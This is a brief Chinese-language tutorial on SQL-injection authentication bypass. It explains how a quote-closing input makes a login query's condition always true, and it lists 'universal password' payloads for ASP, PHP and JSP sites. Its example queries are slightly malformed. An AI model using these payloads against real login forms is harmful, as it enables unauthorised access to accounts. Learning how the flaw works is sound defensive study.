漏洞原理
很多网站把用户名和密码放在数据库中,当用户登录网站时,一般采用sql语句查询数据库验证信息。以asp为例
1 | select * from user where 'username' ='$username' and 'password' = '$password' |
其中user是数据空中存放用户信息的表,username是存放用户名的字段,password是存放密码的字段。
当用户输入输入 ‘or’’ ='时,sql语句语句就变成了
1 | select * from user where 'username' = ''or''='' and 'password' = '$password' |
由于’’ = ''恒成立,所以where所指条件成立,因而可以绕过身份验证。
万能密码中开头和结尾的单引号,主要是为了将查询语句中引用变量的单引号闭合,注意此处不能使用双引号,在查询语句中,双引号只能使其中的变量变成字符。
常用万能密码
asp,aspx万能密码
1 | 1:"or "a"="a |
PHP万能密码
1 | 1: ‘or’=’or’ |
jsp 万能密码
1 | 1: 1’or’1’=’1 |